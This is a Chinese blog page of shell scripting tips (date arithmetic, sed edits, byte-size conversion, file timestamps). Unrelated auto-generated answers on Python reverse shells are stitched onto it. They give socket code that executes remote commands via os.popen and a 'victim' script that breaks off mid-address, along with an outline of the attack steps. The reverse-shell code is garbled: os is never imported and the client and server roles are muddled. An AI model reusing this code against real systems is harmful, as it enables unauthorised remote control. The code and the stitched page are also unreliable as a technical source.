shell脚本的一些使用总结(持续更新)

1.判断一个字符串是否为空

if [[ -z ${year_month} ]]
then
	echo "yes"
else
	echo "no"
fi

2.日期之间的大小计算

#把日期转换为时间戳格式

    num_login=`date -d ${time_login} +%s`
    out_date=`date -d ${date} +%s`

#然后进行大小判断

    if [ ${num_login} -gt ${out_date} ]
    then
            echo $account "--yes"
    elif [ ${num_login} -eq ${out_date} ]
    then
            echo $account "-yes"
    else
            echo $account "no"
    fi

3.文本排序重复行计算

#sort排序 
#uniq对重复行计算 
#sort -r 升序

4.字符串的分割

#可以使用cut,awk等命令
username=`echo $line|cut -d " " -f 1`

5.把拿到的日期相加或相减(年,月,日)

#拿到的年月日进行相加一年
    year=`date -d "${year_month} +1 year " +%Y-%m-%d`
#拿到的年月日进行相加一个月
    month=`date -d "${year_month} +1 month " +%Y-%m-%d`
#拿到的年月日进行相加一天
    day=`date -d "${year_month} +1 day " +%Y-%m-%d`
#拿到的年月日进行相减一个月
    sub_month=`date -d "${year_month} -1 month " +%Y-%m-%d`
   

6.删除文件的第一行和最后一行

#删除文件第一行
sed -i '1d' /path/file
#删除文件最后一行
sed -i '$d' /path/file

7.去掉文件中字符串的双引号

sed -i 's/"//g' /tmp/20210601.csv

8.字节转换,转换字节为 B KB MB GB

#Convert bytes to B KB MB GB
    if [ 1024 -gt "$Bytesize" ];
            then size="$Bytesize B"
        elif [ 1048576 -gt "$Bytesize" ];
	    then
		size=`echo  "scale=3; a = $Bytesize / 1024 ; if (length(a)==scale(a)) print 0;print a"  | bc `
		size="$size KB"
	elif [ 1073741824 -gt "$Bytesize" ];
	    then
		size=`echo  "scale=3; a = $Bytesize / 1048576 ; if (length(a)==scale(a)) print 0;print a"  | bc `
		size="$size MB"
	elif [ 1073741824 -le "$Bytesize" ];
	    then
		size=`echo  "scale=3; a = $Bytesize / 1073741824 ; if (length(a)==scale(a)) print 0;print a"  | bc `
		size="$size GB"
	else
	    size="0"
    fi
    echo "$size"

9.获取文件最后修改时间

stat -c %y file_name      #获取文件修改的时间
stat -c %Y file_name      #获取文件修改的时间戳
date +"%Y-%m-%d %H" -d @$File_time_stamp    #把时间戳转变为系统时间显示
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 你是想问 Python 如何实现反弹 shell 吗? 反弹 shell 是一种通过远程连接获取受害者计算机的 shell 权限的攻击技术。 使用 Python 反弹 shell 的方法如下: 1. 首先,在本地计算机上运行一个监听程序,等待连接。 2. 然后,在受害者计算机上运行一个 Python 脚本,该脚本将连接到本地计算机的监听程序。 3. 当连接建立后,就可以通过本地计算机上的 shell 命令控制受害者计算机。 具体的代码实现可以参考如下: 本地计算机上的监听程序: ``` import socket # 监听的地址和端口 HOST = '0.0.0.0' PORT = 12345 # 创建一个 socket 对象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 绑定地址和端口 s.bind((HOST, PORT)) # 监听 s.listen() # 接受连接 conn, addr = s.accept() # 打印连接的地址 print('Connected by', addr) # 持续监听 while True: # 接收数据 data = conn.recv(1024) if not data: break # 执行命令 cmd_result = os.popen(data.decode()).read() # 发送结果 conn.sendall(cmd_result.encode()) # 关闭连接 conn.close() ``` 受害者计算机上的脚本: ``` import socket # 连接的地址和端口 HOST = '192.168. ### 回答2: Python反弹shell是指通过Python代码在目标计算机上建立一个与攻击者主机之间的连接,使得攻击者可以远程控制目标计算机并执行命令。 Python反弹shell通常涉及以下步骤: 1. 攻击者需要在自己的计算机上搭建一个监听程序,等待目标计算机的连接。 2. 在目标计算机上,攻击者可以使用一些方法来执行一个恶意的Python程序,例如通过社会工程学手段获取目标计算机的用户信任,或者利用已存在的安全漏洞等。 3. 一旦目标计算机上的恶意Python程序被执行,它会尝试连接到攻击者的计算机并建立反向连接。这种反向连接允许攻击者远程控制目标计算机。 4. 一旦连接建立,攻击者可以使用一些特定的命令和技巧来远程执行命令、访问目标计算机的文件系统以及进行其他恶意活动。 总结起来,Python反弹shell是一种攻击技术,攻击者通过在目标计算机上执行恶意的Python程序,与自己的计算机建立反向连接,从而实现远程控制目标计算机和执行命令的目的。然而,需要注意的是,这种行为是非法的,并且违反了网络安全规范和法律法规。所以我们应该保持良好的网络安全意识,同时保护自己的计算机免受此类攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值